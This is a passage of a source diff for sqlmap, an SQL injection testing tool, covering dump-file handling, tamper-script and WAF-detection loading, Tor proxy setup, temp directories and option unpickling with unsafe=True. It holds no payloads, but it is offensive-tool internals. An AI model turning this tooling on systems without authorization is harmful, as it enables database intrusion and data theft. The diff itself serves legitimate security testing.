-                        OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
-                    }
+    OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
+    OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+}
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -9,10 +9,12 @@ import cgi
 import hashlib
 import os
 import re
+import shutil
 import tempfile
 import threading

 from lib.core.common import Backend
+from lib.core.common import checkFile
 from lib.core.common import dataToDumpFile
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
@@ -37,6 +39,7 @@ from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapSystemException
 from lib.core.replication import Replication
+from lib.core.settings import DUMP_FILE_BUFFER_SIZE
 from lib.core.settings import HTML_DUMP_CSS_STYLE
 from lib.core.settings import IS_WIN
 from lib.core.settings import METADB_SUFFIX
@@ -116,9 +119,15 @@ class Dump(object):
        elif data is not None:
            _ = getUnicode(data)

-            if _ and _[-1] == '\n':
+            if _.endswith("\r\n"):
+                _ = _[:-2]
+
+            elif _.endswith("\n"):
                _ = _[:-1]

+            if _.strip(' '):
+                _ = _.strip(' ')
+
            if "\n" in _:
                self._write("%s:\n---\n%s\n---" % (header, _))
            else:
@@ -433,7 +442,7 @@ class Dump(object):
                            dumpDbPath = tempDir

            dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
-            if not os.path.isfile(dumpFileName):
+            if not checkFile(dumpFileName, False):
                try:
                    openFile(dumpFileName, "w+b").close()
                except SqlmapSystemException:
@@ -447,9 +456,24 @@ class Dump(object):
                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                    else:
                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+            else:
+                appendToFile = any((conf.limitStart, conf.limitStop))

-            appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop))
-            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab")
+                if not appendToFile:
+                    count = 1
+                    while True:
+                        candidate = "%s.%d" % (dumpFileName, count)
+                        if not checkFile(candidate, False):
+                            try:
+                                shutil.copyfile(dumpFileName, candidate)
+                            except IOError:
+                                pass
+                            finally:
+                                break
+                        else:
+                            count += 1
+
+            dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)

        count = int(tableValues["__infos__"]["count"])
        separator = str()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -34,6 +34,7 @@ class DBMS:
    SQLITE = "SQLite"
    SYBASE = "Sybase"
    HSQLDB = "HSQLDB"
+    INFORMIX = "Informix"

 class DBMS_DIRECTORY_NAME:
    ACCESS = "access"
@@ -47,6 +48,7 @@ class DBMS_DIRECTORY_NAME:
    SQLITE = "sqlite"
    SYBASE = "sybase"
    HSQLDB = "hsqldb"
+    INFORMIX = "informix"

 class CUSTOM_LOGGING:
    PAYLOAD = 9
@@ -174,6 +176,7 @@ class HTTP_HEADER:
    PROXY_CONNECTION = "Proxy-Connection"
    RANGE = "Range"
    REFERER = "Referer"
+    REFRESH = "Refresh"  # Reference: http://stackoverflow.com/a/283794
    SERVER = "Server"
    SET_COOKIE = "Set-Cookie"
    TRANSFER_ENCODING = "Transfer-Encoding"
@@ -194,6 +197,7 @@ class OPTION_TYPE:

 class HASHDB_KEYS:
    DBMS = "DBMS"
+    DBMS_FORK = "DBMS_FORK"
    CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
    CONF_TMP_PATH = "CONF_TMP_PATH"
    KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -351,3 +355,20 @@ class AUTOCOMPLETE_TYPE:
    SQL = 0
    OS = 1
    SQLMAP = 2
+
+class NOTE:
+    FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
+
+class MKSTEMP_PREFIX:
+    HASHES = "sqlmaphashes-"
+    CRAWLER = "sqlmapcrawler-"
+    IPC = "sqlmapipc-"
+    TESTING = "sqlmaptesting-"
+    RESULTS = "sqlmapresults-"
+    COOKIE_JAR = "sqlmapcookiejar-"
+    BIG_ARRAY = "sqlmapbigarray-"
+
+class TIMEOUT_STATE:
+    NORMAL = 0
+    EXCEPTION = 1
+    TIMEOUT = 2
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,10 +1,11 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

+import binascii
 import cookielib
 import glob
 import inspect
@@ -38,6 +39,7 @@ from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSafeExString
 from lib.core.common import extractRegexResult
 from lib.core.common import filterStringValue
+from lib.core.common import findLocalPort
 from lib.core.common import findPageForms
 from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
@@ -108,7 +110,7 @@ from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DBMS_ALIASES
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
-from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
+from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DUMMY_URL
 from lib.core.settings import IGNORE_SAVE_OPTIONS
 from lib.core.settings import INJECT_HERE_MARK
@@ -120,6 +122,7 @@ from lib.core.settings import MAX_CONNECT_RETRIES
 from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
+from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
 from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import SITE
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
@@ -127,12 +130,14 @@ from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import SUPPORTED_OS
 from lib.core.settings import TIME_DELAY_CANDIDATES
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
+from lib.core.threads import setDaemon
 from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadBoundaries
@@ -151,8 +156,8 @@ from lib.utils.crawler import crawl
 from lib.utils.deps import checkDependencies
 from lib.utils.search import search
 from lib.utils.purge import purge
-from thirdparty.colorama.initialise import init as coloramainit
 from thirdparty.keepalive import keepalive
+from thirdparty.multipart import multipartpost
 from thirdparty.oset.pyoset import oset
 from thirdparty.socks import socks
 from xml.etree.ElementTree import ElementTree
@@ -163,6 +168,13 @@ keepAliveHandler = keepalive.HTTPHandler()
 proxyHandler = urllib2.ProxyHandler()
 redirectHandler = SmartRedirectHandler()
 rangeHandler = HTTPRangeHandler()
+multipartPostHandler = multipartpost.MultipartPostHandler()
+
+# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
+try:
+    WindowsError
+except NameError:
+    WindowsError = None

 def _feedTargetsDict(reqFile, addedTargetUrls):
    """
@@ -207,7 +219,10 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
                reqResList = []
                for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
                    port, request = match.groups()
-                    request = request.decode("base64")
+                    try:
+                        request = request.decode("base64")
+                    except binascii.Error:
+                        continue
                    _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
                    if _:
                        host = _.group(0).strip()
@@ -385,7 +400,7 @@ def _loadQueries():
    try:
        tree.parse(paths.QUERIES_XML)
    except Exception, ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -879,32 +894,37 @@ def _setTamperingFunctions():
        resolve_priorities = False
        priorities = []

-        for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
+        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
            found = False

-            tfile = tfile.strip()
+            path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
+            script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)

-            if not tfile:
-                continue
+            try:
+                if not script:
+                    continue

-            elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)):
-                tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)
+                elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)):
+                    script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script)

-            elif not os.path.exists(tfile):
-                errMsg = "tamper script '%s' does not exist" % tfile
-                raise SqlmapFilePathException(errMsg)
+                elif not os.path.exists(script):
+                    errMsg = "tamper script '%s' does not exist" % script
+                    raise SqlmapFilePathException(errMsg)

-            elif not tfile.endswith('.py'):
-                errMsg = "tamper script '%s' should have an extension '.py'" % tfile
+                elif not script.endswith(".py"):
+                    errMsg = "tamper script '%s' should have an extension '.py'" % script
+                    raise SqlmapSyntaxException(errMsg)
+            except UnicodeDecodeError:
+                errMsg = "invalid character provided in option '--tamper'"
                raise SqlmapSyntaxException(errMsg)

-            dirname, filename = os.path.split(tfile)
+            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

            infoMsg = "loading tamper script '%s'" % filename[:-3]
            logger.info(infoMsg)

-            if not os.path.exists(os.path.join(dirname, '__init__.py')):
+            if not os.path.exists(os.path.join(dirname, "__init__.py")):
                errMsg = "make sure that there is an empty file '__init__.py' "
                errMsg += "inside of tamper scripts directory '%s'" % dirname
                raise SqlmapGenericException(errMsg)
@@ -913,11 +933,11 @@ def _setTamperingFunctions():
                sys.path.insert(0, dirname)

            try:
-                module = __import__(filename[:-3].encode(sys.getfilesystemencoding()))
-            except (ImportError, SyntaxError), msg:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg))
+                module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
+            except (ImportError, SyntaxError), ex:
+                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))

-            priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__
+            priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__

            for name, function in inspect.getmembers(module, inspect.isfunction):
                if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs":
@@ -926,7 +946,7 @@ def _setTamperingFunctions():
                    function.func_name = module.__name__

                    if check_priority and priority > last_priority:
-                        message = "it seems that you might have mixed "
+                        message = "it appears that you might have mixed "
                        message += "the order of tamper scripts. "
                        message += "Do you want to auto resolve this? [Y/n/q] "
                        test = readInput(message, default="Y")
@@ -949,7 +969,7 @@ def _setTamperingFunctions():

            if not found:
                errMsg = "missing function 'tamper(payload, **kwargs)' "
-                errMsg += "in tamper script '%s'" % tfile
+                errMsg += "in tamper script '%s'" % script
                raise SqlmapGenericException(errMsg)

        if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
@@ -966,7 +986,7 @@ def _setTamperingFunctions():

 def _setWafFunctions():
    """
-    Loads WAF/IDS/IPS detecting functions from script(s)
+    Loads WAF/IPS/IDS detecting functions from script(s)
    """

    if conf.identifyWaf:
@@ -986,7 +1006,7 @@ def _setWafFunctions():
            try:
                if filename[:-3] in sys.modules:
                    del sys.modules[filename[:-3]]
-                module = __import__(filename[:-3])
+                module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
            except ImportError, msg:
                raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg))

@@ -998,6 +1018,8 @@ def _setWafFunctions():
            else:
                kb.wafFunctions.append((_["detect"], _.get("__product__", filename[:-3])))

+        kb.wafFunctions = sorted(kb.wafFunctions, key=lambda _: "generic" in _[1].lower())
+
 def _setThreads():
    if not isinstance(conf.threads, int) or conf.threads <= 0:
        conf.threads = 1
@@ -1008,12 +1030,12 @@ def _setDNSCache():
    """

    def _getaddrinfo(*args, **kwargs):
-        if args in kb.cache:
-            return kb.cache[args]
+        if args in kb.cache.addrinfo:
+            return kb.cache.addrinfo[args]

        else:
-            kb.cache[args] = socket._getaddrinfo(*args, **kwargs)
-            return kb.cache[args]
+            kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs)
+            return kb.cache.addrinfo[args]

    if not hasattr(socket, "_getaddrinfo"):
        socket._getaddrinfo = socket.getaddrinfo
@@ -1028,7 +1050,7 @@ def _setSocketPreConnect():
        return

    def _():
-        while kb.threadContinue and not conf.disablePrecon:
+        while kb.get("threadContinue") and not conf.get("disablePrecon"):
            try:
                for key in socket._ready:
                    if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
@@ -1036,7 +1058,7 @@ def _setSocketPreConnect():
                        s = socket.socket(family, type, proto)
                        s._connect(address)
                        with kb.locks.socket:
-                            socket._ready[key].append(s._sock)
+                            socket._ready[key].append((s._sock, time.time()))
            except KeyboardInterrupt:
                break
            except:
@@ -1051,9 +1073,17 @@ def _setSocketPreConnect():
        with kb.locks.socket:
            if key not in socket._ready:
                socket._ready[key] = []
-            if len(socket._ready[key]) > 0:
-                self._sock = socket._ready[key].pop(0)
-                found = True
+            while len(socket._ready[key]) > 0:
+                candidate, created = socket._ready[key].pop(0)
+                if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT:
+                    self._sock = candidate
+                    found = True
+                    break
+                else:
+                    try:
+                        candidate.close()
+                    except socket.error:
+                        pass

        if not found:
            self._connect(address)
@@ -1064,6 +1094,7 @@ def _setSocketPreConnect():
        socket.socket.connect = connect

        thread = threading.Thread(target=_)
+        setDaemon(thread)
        thread.start()

 def _setHTTPHandlers():
@@ -1151,7 +1182,7 @@ def _setHTTPHandlers():
    debugMsg = "creating HTTP requests opener object"
    logger.debug(debugMsg)

-    handlers = filter(None, [proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler])
+    handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler])

    if not conf.dropSetCookie:
        if not conf.loadCookies:
@@ -1183,7 +1214,7 @@ def _setSafeVisit():
    """
    Check and set the safe visit options.
    """
-    if not any ((conf.safeUrl, conf.safeReqFile)):
+    if not any((conf.safeUrl, conf.safeReqFile)):
        return

    if conf.safeReqFile:
@@ -1309,17 +1340,17 @@ def _setHTTPAuthentication():
        debugMsg = "setting the HTTP authentication type and credentials"
        logger.debug(debugMsg)

-        aTypeLower = conf.authType.lower()
+        authType = conf.authType.lower()

-        if aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST):
+        if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST):
            regExp = "^(.*?):(.*?)$"
-            errMsg = "HTTP %s authentication credentials " % aTypeLower
+            errMsg = "HTTP %s authentication credentials " % authType
            errMsg += "value must be in format 'username:password'"
-        elif aTypeLower == AUTH_TYPE.NTLM:
+        elif authType == AUTH_TYPE.NTLM:
            regExp = "^(.*\\\\.*):(.*?)$"
            errMsg = "HTTP NTLM authentication credentials value must "
            errMsg += "be in format 'DOMAIN\username:password'"
-        elif aTypeLower == AUTH_TYPE.PKI:
+        elif authType == AUTH_TYPE.PKI:
            errMsg = "HTTP PKI authentication require "
            errMsg += "usage of option `--auth-pki`"
            raise SqlmapSyntaxException(errMsg)
@@ -1336,13 +1367,13 @@ def _setHTTPAuthentication():

        _setAuthCred()

-        if aTypeLower == AUTH_TYPE.BASIC:
+        if authType == AUTH_TYPE.BASIC:
            authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr)

-        elif aTypeLower == AUTH_TYPE.DIGEST:
+        elif authType == AUTH_TYPE.DIGEST:
            authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr)

-        elif aTypeLower == AUTH_TYPE.NTLM:
+        elif authType == AUTH_TYPE.NTLM:
            try:
                from ntlm import HTTPNtlmAuthHandler
            except ImportError:
@@ -1381,16 +1412,12 @@ def _setHTTPExtraHeaders():
                raise SqlmapSyntaxException(errMsg)

    elif not conf.requestFile and len(conf.httpHeaders or []) < 2:
-        conf.httpHeaders.append((HTTP_HEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5"))
-        if not conf.charset:
-            conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
-        else:
+        if conf.charset:
            conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset))

        # Invalidating any caching mechanism in between
-        # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
-        conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache,no-store"))
-        conf.httpHeaders.append((HTTP_HEADER.PRAGMA, "no-cache"))
+        # Reference: http://stackoverflow.com/a/1383359
+        conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))

 def _defaultHTTPUserAgent():
    """
@@ -1400,13 +1427,6 @@ def _defaultHTTPUserAgent():

    return "%s (%s)" % (VERSION_STRING, SITE)

-    # Firefox 3 running on Ubuntu 9.04 updated at April 2009
-    #return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
-
-    # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
-    # updated at March 2009
-    #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
-
 def _setHTTPUserAgent():
    """
    Set the HTTP User-Agent header.
@@ -1545,24 +1565,51 @@ def _createTemporaryDirectory():
    Creates temporary directory for this run.
    """

-    try:
-        if not os.path.isdir(tempfile.gettempdir()):
-            os.makedirs(tempfile.gettempdir())
-    except IOError, ex:
-        errMsg = "there has been a problem while accessing "
-        errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-        errMsg += "make sure that there is enough disk space left. If problem persists, "
-        errMsg += "try to set environment variable 'TEMP' to a location "
-        errMsg += "writeable by the current user"
-        raise SqlmapSystemException, errMsg
+    if conf.tmpDir:
+        try:
+            if not os.path.isdir(conf.tmpDir):
+                os.makedirs(conf.tmpDir)

-    if "sqlmap" not in (tempfile.tempdir or ""):
-        tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
+            _ = os.path.join(conf.tmpDir, randomStr())
+
+            open(_, "w+b").close()
+            os.remove(_)
+
+            tempfile.tempdir = conf.tmpDir
+
+            warnMsg = "using '%s' as the temporary directory" % conf.tmpDir
+            logger.warn(warnMsg)
+        except (OSError, IOError), ex:
+            errMsg = "there has been a problem while accessing "
+            errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
+            raise SqlmapSystemException, errMsg
+    else:
+        try:
+            if not os.path.isdir(tempfile.gettempdir()):
+                os.makedirs(tempfile.gettempdir())
+        except (OSError, IOError, WindowsError), ex:
+            warnMsg = "there has been a problem while accessing "
+            warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
+            warnMsg += "make sure that there is enough disk space left. If problem persists, "
+            warnMsg += "try to set environment variable 'TEMP' to a location "
+            warnMsg += "writeable by the current user"
+            logger.warn(warnMsg)
+
+    if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
+        try:
+            tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
+        except (OSError, IOError, WindowsError):
+            tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))

    kb.tempDir = tempfile.tempdir

    if not os.path.isdir(tempfile.tempdir):
-        os.makedirs(tempfile.tempdir)
+        try:
+            os.makedirs(tempfile.tempdir)
+        except (OSError, IOError, WindowsError), ex:
+            errMsg = "there has been a problem while setting "
+            errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
+            raise SqlmapSystemException, errMsg

 def _cleanupOptions():
    """
@@ -1590,6 +1637,9 @@ def _cleanupOptions():
    else:
        conf.testParameter = []

+    if conf.agent:
+        conf.agent = re.sub(r"[\r\n]", "", conf.agent)
+
    if conf.user:
        conf.user = conf.user.replace(" ", "")

@@ -1654,10 +1704,20 @@ def _cleanupOptions():
        conf.testFilter = conf.testFilter.strip('*+')
        conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)

+        try:
+            re.compile(conf.testFilter)
+        except re.error:
+            conf.testFilter = re.escape(conf.testFilter)
+
    if conf.testSkip:
        conf.testSkip = conf.testSkip.strip('*+')
        conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)

+        try:
+            re.compile(conf.testSkip)
+        except re.error:
+            conf.testSkip = re.escape(conf.testSkip)
+
    if "timeSec" not in kb.explicitSettings:
        if conf.tor:
            conf.timeSec = 2 * conf.timeSec
@@ -1687,7 +1747,7 @@ def _cleanupOptions():

    if conf.outputDir:
        paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir))
-        setPaths()
+        setPaths(paths.SQLMAP_ROOT_PATH)

    if conf.string:
        try:
@@ -1719,15 +1779,32 @@ def _cleanupOptions():
    if conf.binaryFields:
        conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields)

+    if any((conf.proxy, conf.proxyFile, conf.tor)):
+        conf.disablePrecon = True
+
    threadData = getCurrentThreadData()
    threadData.reset()

+def _cleanupEnvironment():
+    """
+    Cleanup environment (e.g. from leftovers after --sqlmap-shell).
+    """
+
+    if issubclass(urllib2.socket.socket, socks.socksocket):
+        socks.unwrapmodule(urllib2)
+
+    if hasattr(socket, "_ready"):
+        socket._ready.clear()
+
 def _dirtyPatches():
    """
    Place for "dirty" Python related patches
    """

-    httplib._MAXLINE = 1 * 1024 * 1024  # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
+    httplib._MAXLINE = 1 * 1024 * 1024                          # accept overly long result lines (e.g. SQLi results in HTTP header responses)
+
+    if IS_WIN:
+        from thirdparty.wininetpton import win_inet_pton        # add support for inet_pton() on Windows OS

 def _purgeOutput():
    """
@@ -1795,10 +1872,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.bruteMode = False

    kb.cache = AttribDict()
+    kb.cache.addrinfo = {}
    kb.cache.content = {}
+    kb.cache.encoding = {}
+    kb.cache.intBoundaries = None
+    kb.cache.parsedDbms = {}
    kb.cache.regex = {}
    kb.cache.stdev = {}

+    kb.captchaDetected = None
+
    kb.chars = AttribDict()
    kb.chars.delimiter = randomStr(length=6, lowercase=True)
    kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
@@ -1807,6 +1890,9 @@ def _setKnowledgeBaseAttributes(flushAll=True):

    kb.columnExistsChoice = None
    kb.commonOutputs = None
+    kb.connErrorChoice = None
+    kb.connErrorCounter = 0
+    kb.cookieEncodeChoice = None
    kb.counters = {}
    kb.data = AttribDict()
    kb.dataOutputFlag = False
@@ -1820,7 +1906,9 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.dnsMode = False
    kb.dnsTest = None
    kb.docRoot = None
+    kb.dumpColumns = None
    kb.dumpTable = None
+    kb.dumpKeyboardInterrupt = False
    kb.dynamicMarkings = []
    kb.dynamicParameter = False
    kb.endDetection = False
@@ -1828,6 +1916,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.extendTests = None
    kb.errorChunkLength = None
    kb.errorIsNone = True
+    kb.falsePositives = []
    kb.fileReadMode = False
    kb.followSitemapRecursion = None
    kb.forcedDbms = None
@@ -1837,6 +1926,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.headersFp = {}
    kb.heuristicDbms = None
    kb.heuristicMode = False
+    kb.heuristicPage = False
    kb.heuristicTest = None
    kb.hintValue = None
    kb.htmlFp = []
@@ -1851,7 +1941,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.lastParserStatus = None

    kb.locks = AttribDict()
-    for _ in ("cache", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
        kb.locks[_] = threading.Lock()

    kb.matchRatio = None
@@ -1895,13 +1985,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
    kb.requestCounter = 0
    kb.resendPostOnRedirect = None
+    kb.resolutionDbms = None
    kb.responseTimes = {}
    kb.responseTimeMode = None
    kb.responseTimePayload = None
    kb.resumeValues = True
+    kb.rowXmlMode = False
    kb.safeCharEncode = False
    kb.safeReq = AttribDict()
    kb.singleLogFlags = set()
+    kb.skipSeqMatcher = False
    kb.reduceTests = None
    kb.tlsSNI = {}
    kb.stickyDBMS = False
@@ -1909,6 +2002,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.storeCrawlingChoice = None
    kb.storeHashesChoice = None
    kb.suppressResumeInfo = False
+    kb.tableFrom = None
    kb.technique = None
    kb.tempDir = None
    kb.testMode = False
@@ -1918,7 +2012,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.threadContinue = True
    kb.threadException = False
    kb.tableExistsChoice = None
-    kb.timeValidCharsRun = 0
    kb.uChar = NULL
    kb.unionDuplicates = False
    kb.xpCmdshellAvailable = False
@@ -2138,11 +2231,22 @@ def _mergeOptions(inputOptions, overrideOptions):

    if inputOptions.pickledOptions:
        try:
-            inputOptions = base64unpickle(inputOptions.pickledOptions)
-            _normalizeOptions(inputOptions)
+            unpickledOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True)
+
+            if type(unpickledOptions) == dict:
+                unpickledOptions = AttribDict(unpickledOptions)
+
+            _normalizeOptions(unpickledOptions)
+
+            unpickledOptions["pickledOptions"] = None
+            for key in inputOptions:
+                if key not in unpickledOptions:
+                    unpickledOptions[key] = inputOptions[key]
+
+            inputOptions = unpickledOptions
        except Exception, ex:
            errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
-            errMsg += " ('%s')" % ex if ex.message else ""
+            errMsg += " (%s)" % repr(ex)
            raise SqlmapSyntaxException(errMsg)

    if inputOptions.configFile:
@@ -2157,9 +2261,10 @@ def _mergeOptions(inputOptions, overrideOptions):
        if key not in conf or value not in (None, False) or overrideOptions:
            conf[key] = value

-    for key, value in conf.items():
-        if value is not None:
-            kb.explicitSettings.add(key)
+    if not hasattr(conf, "api"):
+        for key, value in conf.items():
+            if value is not None:
+                kb.explicitSettings.add(key)

    for key, value in defaults.items():
        if hasattr(conf, key) and conf[key] is None:
@@ -2191,7 +2296,7 @@ def _setTrafficOutputFP():
        conf.trafficFP = openFile(conf.trafficFile, "w+")

 def _setDNSServer():
-    if not conf.dnsName:
+    if not conf.dnsDomain:
        return

    infoMsg = "setting up DNS server instance"
@@ -2236,26 +2341,14 @@ def _setTorHttpProxySettings():
    infoMsg = "setting Tor HTTP proxy settings"
    logger.info(infoMsg)

-    found = None
+    port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,))

-    for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)):
-        try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.connect((LOCALHOST, port))
-            found = port
-            break
